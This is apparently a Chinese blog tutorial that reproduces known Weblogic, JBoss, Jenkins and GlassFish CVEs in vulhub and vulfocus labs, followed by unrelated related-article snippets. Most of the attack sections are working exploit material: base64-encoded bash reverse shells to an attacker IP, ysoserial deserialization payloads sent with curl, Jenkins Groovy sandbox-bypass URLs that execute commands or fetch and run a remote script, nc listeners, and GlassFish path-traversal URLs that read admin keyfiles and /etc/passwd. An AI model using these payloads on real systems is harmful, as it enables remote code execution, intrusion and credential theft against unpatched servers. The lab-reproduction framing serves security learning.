中间件安全-CVE复现WeblogicJenkinsGlassFish漏洞复现

news2024/11/26 5:55:57

目录

  • 服务攻防-中间件安全&CVE复现&Weblogic&Jenkins&GlassFish漏洞复现
    • 中间件-Weblogic安全问题
      • 漏洞复现
        • CVE_2017_3506漏洞复现
    • 中间件-JBoos安全问题
      • 漏洞复现
        • CVE-2017-12149漏洞复现
        • CVE-2017-7504漏洞复现
    • 中间件-Jenkins安全问题
      • 漏洞复现
        • CVE-2017-1000353漏洞复现
        • CVE-2018-1000861漏洞复现
    • 中间件-Glassfish安全问题
      • 漏洞复现
        • CVE-2017-1000028漏洞复现

服务攻防-中间件安全&CVE复现&Weblogic&Jenkins&GlassFish漏洞复现

中间件及框架列表: IIS,Apache,Nginx,Tomcat,Docker,Weblogic,JBoos,WebSphere, Jenkins ,GlassFish,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp, Spring,Flask,jQuery等
1、中间件-Weblogic安全
2、中间件-JBoos安全
3、中间件-Jenkins安全
4、中间件-GlassFish安全

常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用-框架特定安全漏洞

中间件安全测试流程:
1、判断中间件信息-名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞

应用服务安全测试流程:
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等

中间件-Weblogic安全问题

详解:weblogic详解

介绍:
Java应用服务器软件
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
探针默认端口:7001,Weblogic是Oracle公司推出的J2EE应用服务器

安全问题:

CVE_2017_3506
CVE_2018_2893
CVE_2018_3245
CVE-2018-2628 反序列化
CVE_2020_14882
CVE_2021_2394 反序列化
CVE-2023-21839 反序列化

以上的漏洞基本都可以使用现成熟的工具进行直接攻击利用。

漏洞复现

以CVE_2017_3506为例(其他编号漏洞利用基本类似,直接上工具,点一点~):

CVE_2017_3506漏洞复现

靶场:vulfocus
开启环境:
image.png
访问:
image.png
直接将url信息放入到工具当中进行检测:
存在漏洞,可直接进行命令执行:
image.png

image.png
其他漏洞编号利用方式类似,直接放入到工具当中进行检测,存在就存在,可直接执行命令或者上传,注入等操作。

手工操作复现:weblogic反序列漏洞复现

中间件-JBoos安全问题

详解:Jboss详解

介绍:
J2EE的开放源代码的应用服务器
是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

Jboss通常占用的端口是1098,1099,4444,4445,8080,8009,8083,8093这 几个,Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。

安全问题:

CVE-2017-12149
CVE-2017-7504
弱口令 未授权访问

漏洞复现

CVE-2017-12149漏洞复现

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

靶场:vulhub
参考:JBoss 5.x/6.x 反序列化漏洞
image.png

开启环境:
image.png

访问:
image.png
漏洞利用:

payload:
//反弹shell命令:
sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
//base64加密后:
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
//ysoserial工具利用:
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
//curl命令进行请求访问,发送:
curl http://192.168.100.134:8080/invoker/readonly --data-binary @poc.ser
//接收端开启监听
nc -lvvp 8888

在ysoserial工具目录下生成了poc.ser文件:
image.png

发送curl请求:
image.png

监听端成功接收,反弹shell成功:
image.png

CVE-2017-7504漏洞复现

介绍:
Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

靶场:vulhub
参考:JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
image.png

开启环境:
image.png

访问:
image.png
漏洞利用:

//此漏洞和CVE-2017-12149利用方式差不多,区别就是请求地址内容不同
payload:
//反弹shell命令:
sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
//base64加密后:
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
//ysoserial工具利用:
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
//进行curl请求:
curl http://192.168.100.134:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser
//接收端开启监听:
nc -lvvp 8888

发送curl请求:
image.png

监听端成功接收,反弹shell成功:
image.png

中间件-Jenkins安全问题

详解:Jenkins详解
介绍:

开源软件项目
Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件项目可以进行持续集成。
探针默认端口:8080

安全问题:

CVE-2017-1000353

CVE-2018-1000861

漏洞复现

CVE-2017-1000353漏洞复现

靶场:vulfocus
或vulhub
参考:Jenkins-CI 远程代码执行漏洞
vulhub环境:
image.png

vulfocus环境:
image.png
开启靶场:
image.png

访问:
image.png

漏洞利用:
工具地址:CVE-2017-1000353
JDK版本需要为jdk-8u291,其他版本可能失效,无法复现成功
下载地址:JDK8

payload:
//执行命令,创建文件
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /123.txt"
//执行exp
python exploit.py http://192.168.100.134:8080/ jenkins_poc.ser

//然后回到我们的靶机中打开终端输入以下命令,查看验证是否利用成功
docker ps -a
docker exec -it 838723a23ad0 /bin/bash
ls /

image.png

反弹shell命令:

sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
//base64加密后
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

//反弹shell操作:
//将刚刚执行创建文件的命令,换成该反弹shell命令即可(base64加密后的)
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"
//执行exp
python exploit.py http://192.168.100.134:8080/ jenkins_poc.ser

//接收端开启监听
nc -lvvp 8888

image.png
注意JDK版本,否则可能无法复现。

CVE-2018-1000861漏洞复现

靶场:vulhub
参考:Jenkins远程命令执行漏洞
image.png
开启环境:
image.png

访问:
image.png

漏洞利用:
exp下载地址:CVE-2018-1000861EXP

//使用exp脚本可直接利用,python2下使用
payload:
python2 exp.py 

python2 exp.py http://192.168.100.134:8080/ "touch /tmp/123.txt"
python2 exp.py http://192.168.100.134:8080/ "touch /tmp/test.txt"

//进入靶场环境进行验证:
docker ps
docker exec -it 靶场id /bin/bash
ls /tmp/

使用说明:
image.png

使用方式:
image.png

验证是否成功:
成功创建文件
image.png

还可以进行手工测试:

手工检测:
poc:
http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/rumilc%22.execute()}}
payload:
创建文件:
//发送以下请求:
http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/rumilc%22.execute()}}

image.png

验证:
成功创建
image.png

反弹shell:

payload:
//反弹shell命令进行base64加密
python2 exp.py http://192.168.100.134:8080  "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"
//接收端开启监听
nc -lvvp 8888

image.png

成功反弹shell:
image.png

ps:如果不能反弹,可在服务端创建文本文件,将反弹shell命令写进文本文件当中。然后python开启http服务,观察状态。

//开启http服务:
python -m http.server 8080

//python2执行exp脚本,将远程文件保存至目标主机
python2 exp.py 目标主机 "curl -o /tmp/cmd.sh  http://xxxx:8080/cmd.txt"

//python2执行exp脚本,使目标主机运行脚本文件反弹shel
python2 exp.py 目标主机 "bash /tmp/cmd.sh"

image.png

http服务端可观察状态:
image.png

进入靶场验证,存在该文件:
image.png
接下来使用python2脚本exp命令进行执行即可。

还可以手工浏览器访问,依次执行:

payload:
//这里拿本地演示
//将文件保存到目标主机:
//http://ip:port/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl -o /tmp/cmd.sh http://VPSip:8888/cmd.txt".execute()}}
http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl -o /tmp/cmd.sh http://127.0.0.1:8080/cmd.txt".execute()}}

//执行shell脚本
//http://ip:port/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"bash /tmp/cmd.sh".execute()}}
http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"bash /tmp/cmd.sh".execute()}}

访问时,浏览器变为空白界面:
执行成功
image.png

中间件-Glassfish安全问题

介绍:
GlassFish详解

一款商业应用服务器
GlassFish 是一款强健的商业兼容应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改。

安全问题:

CVE-2017-1000028

漏洞复现

CVE-2017-1000028漏洞复现

漏洞原理:

java语言中会把%c0%ae解析为\uC0AE,最后转义为ASCCII字符的.(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果。

靶场:vulhub
参考:GlassFish 任意文件读取漏洞
image.png

开启环境:
image.png

进入环境,访问:
环境运行后,访问http://your-ip:8080http://your-ip:4848即可查看web页面。其中,8080端口是网站内容,4848端口是GlassFish管理中心。
image.png

payload:
//读取密码:
https://192.168.100.134:4848/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile

//linux下读取文件:
https://192.168.100.134:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

//window下读取文件:
http://you-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini

成功读取密码:
image.png

成功读取文件:
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1122522.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【问题记录】解决Qt连接MySQL报“QMYSQL driver not loaded”以及不支持MySQL事务操作的问题!

环境 Windows 11 家庭中文版,64 位操作系统, 基于 x64 的处理器Qt 5.15.2 MinGW 32-bitmysql Ver 14.14 Distrib 5.7.42, for Win32 (AMD64) 问题情况 在Qt 5.15.2 中编写连接MySQL数据库代码后,使用 MinGW 32-bit 构建套件进行编译运行后,报…

Python基础入门例程5-NP5 格式化输出(一)

描述 牛牛、牛妹和牛可乐正在Nowcoder学习Python语言,现在给定他们三个当中的某一个名字name, 假设输入的name为Niuniu,则输出 I am Niuniu and I am studying Python in Nowcoder! 请按以上句式输出相应的英文句子。 输入描述&#xff1…

驱动开发1 概念、内核模块编程、内核消息打印函数printk函数的使用、内核模块传参、内核导出符号

1 驱动相关概念 2 内核模块编程 内核模块编写实例代码注释 #include <linux/init.h> #include <linux/module.h>//入口函数&#xff0c;安装内核模块时执行 static int __init mycdev_init(void) {//static 修饰当前函数只能在本文件使用//int 函数的返回值类型&a…

063:mapboxGL常见错误:Style is not done loading(原因及解决办法)

第063个 点击查看专栏目录 作者在做vue+mapbox的项目,将geojson的数据加载到地图上来,形成的效果图如下 但是在处理的时候,遇到过这个一个错误,提示信息如下: vue.runtime.esm.js:3049 Error: Style is not done loadingat Qt._checkLoaded (mapbox-gl.js:36:1)at Qt.…

《计算机视觉中的多视图几何》笔记(14)

14 Affine Epipolar Geometry 本章主要是在仿射摄像机的情况下重新考虑对极几何&#xff0c;也就是仿射对极几何。 仿射摄像机的优点是它是线性的&#xff0c;所以很多最优化算法可以用线性代数的知识解决。如果是一般的投影摄像机&#xff0c;很多算法就不是线性的了&#x…

[架构之路-241]:目标系统 - 纵向分层 - 企业信息化与企业信息系统(多台企业应用单机组成的企业信息网络)

目录 前言&#xff1a; 一、什么是信息系统&#xff1a;计算机软件硬件系统 1.1 什么是信息 1.2 什么是信息系统 1.3 什么是信息技术 1.4 什么是信息化与信息化转型 1.5 什么是数字化与数字化转型&#xff08;信息化的前提&#xff09; 1.6 数字化与信息化的比较 1.7 …

Android 10.0 Launcher3定制化之动态时钟图标功能实现

1.概述 在10.0的系统产品rom定制化开发中,在Launcher3中的定制化的一些功能中,对于一些产品要求需要实现动态时钟图标功能,这就需要先绘制时分秒时针表盘,然后 每秒刷新一次时钟图标,时钟需要做到实时更新,做到动态时钟的效果,接下来就来分析这个功能的实现 如图: 2.动…

基于nodejs+vue市民健身中心网上平台mysql

市民健身中心网上平台分为用户界面和管理员界面&#xff0c; 用户信息模块&#xff1a;管理员可在后台添加、删除普通用户&#xff0c;查看、编辑普通用户的信息。 课程表管理模块&#xff1a;管理员可对课程表进行修改任课教师、新增某一堂课、删除某一堂课、查找课程、修改…

论文导读|9月MSOM文章精选:智慧城市运筹

推文作者&#xff1a;郭浩然 编者按 本期论文导读围绕“智慧城市运筹”这一话题&#xff0c;简要介绍并分析了近期的三篇MSOM文章&#xff0c;分别涉及了最后一公里配送中的新模式&#xff1a;“司机辅助”&#xff0c;易腐库存管理的新策略&#xff1a;“截断平衡”&#xff0…

Openssl数据安全传输平台004:套接字C语言API封装为C++类 / 客户端及服务端代码框架和代码实现

文章目录 0. 代码仓库1. 客户端C API2. 客户端C API的封装分析2.1 sckClient_init()和sckClient_destroy()2.2 sckClient_connect2.3 sckClient_closeconn()2.4 sckClient_send()2.5 sckClient_rev()2.6 sck_FreeMem 3. 客户端C API4. 服务端C API5. 服务端C6. 客户端和服务端代…

性能测试LoadRunner02

本篇主要讲&#xff1a;通过Controller设计简单的测试场景&#xff0c;可以简单的分析性能测试报告。 Controller 设计场景 Controller打开方式 1&#xff09;通过VUG打开 2&#xff09;之间双击Controller 不演示了&#xff0c;双击打开&#xff0c;选择Manual Scenario自…

buuctf[HCTF 2018]WarmUp 1

题目环境&#xff1a; 发现除了表情包&#xff0c;再无其他F12试试发现source.php文件访问这个文件&#xff0c;格式如下&#xff1a;url/source.php回显如下&#xff1a;PHP代码审计&#xff1a; <?php highlight_file(__FILE__); class emmm {public static function ch…

Linux笔记之diff工具软件P4merge的使用

Linux笔记之diff工具软件P4merge的使用 code review! 文章目录 Linux笔记之diff工具软件P4merge的使用1.安装和配置2.使用&#xff1a;p4merge a.cc b.cc3.配置git 参考博文: Ubuntu Git可视化比较工具 P4Merge 的安装/配置及使用 1.安装和配置 $ wget https://cdist2.per…

分享一下我家网络机柜,家庭网络设备推荐

家里网络机柜搞了几天终于搞好了&#xff0c;非专业的&#xff0c;走线有点乱&#xff0c;勿喷。 从上到下的设备分别是&#xff1a; 无线路由器&#xff08;当ap用&#xff09;:TL-XDR6088 插排&#xff1a;德木pdu机柜插排 硬盘录像机&#xff1a;TL-NVR6108-L8P 第二排左边…

OpenGL 环境搭建和 hello world 程序(LearnOpenGL P1)

文章目录 OpenGLGLFW & CMake链接到 Hello OpenGL&#xff01;GLAD运行测试 OpenGL 什么是 OpenGL&#xff0c;OpenGL 能做什么在此不再赘述 运行 OpenGL 需要准备的有&#xff1a; CMake&#xff1a;用于执行编译VS&#xff1a;我使用的是 Visual Studio 17 2022 版本G…

系统架构师备考倒计时13天(每日知识点)

1. 数据仓库四大特点 面向主题的。操作型数据库的数据组织面向事务处理任务&#xff0c;各个业务系统之间各自分离&#xff0c;而数据仓库中的数据是按照一定的主题域进行组织的。集成的。数据仓库中的数据是在对原有分散的数据库数据抽取、清理的基础上经过系统加工、汇总和整…

[ 云计算 | AWS 实践 ] Java 如何重命名 Amazon S3 中的文件和文件夹

本文收录于【#云计算入门与实践 - AWS】专栏中&#xff0c;收录 AWS 入门与实践相关博文。 本文同步于个人公众号&#xff1a;【云计算洞察】 更多关于云计算技术内容敬请关注&#xff1a;CSDN【#云计算入门与实践 - AWS】专栏。 本系列已更新博文&#xff1a; [ 云计算 | …

100 # mongoose 的使用

mongoose elegant mongodb object modeling for node.js https://mongoosejs.com/ 安装 mongoose npm i mongoose基本示例 const mongoose require("mongoose");// 1、连接 mongodb let conn mongoose.createConnection("mongodb://kaimo313:kaimo313loc…

python算法

第一章 算法 一系列解决单个或多个问题&#xff0c;或有执行计算机功能的命令集合。人类在解决复杂问题时所采用的一系列特定的方法&#xff0c;即为算法。 算法与程序的区别 程序指一组计算机能识别和执行&#xff0c;并有一定功能的指令。程序是以计算机能理解的各式各样的…

CCF CSP认证 历年题目自练Day37

题目一 试题编号&#xff1a; 201312-3 试题名称&#xff1a; 最大的矩形 时间限制&#xff1a; 1.0s 内存限制&#xff1a; 256.0MB 问题描述&#xff1a; 问题描述   在横轴上放了n个相邻的矩形&#xff0c;每个矩形的宽度是1&#xff0c;而第i&#xff08;1 ≤ i ≤ n&a…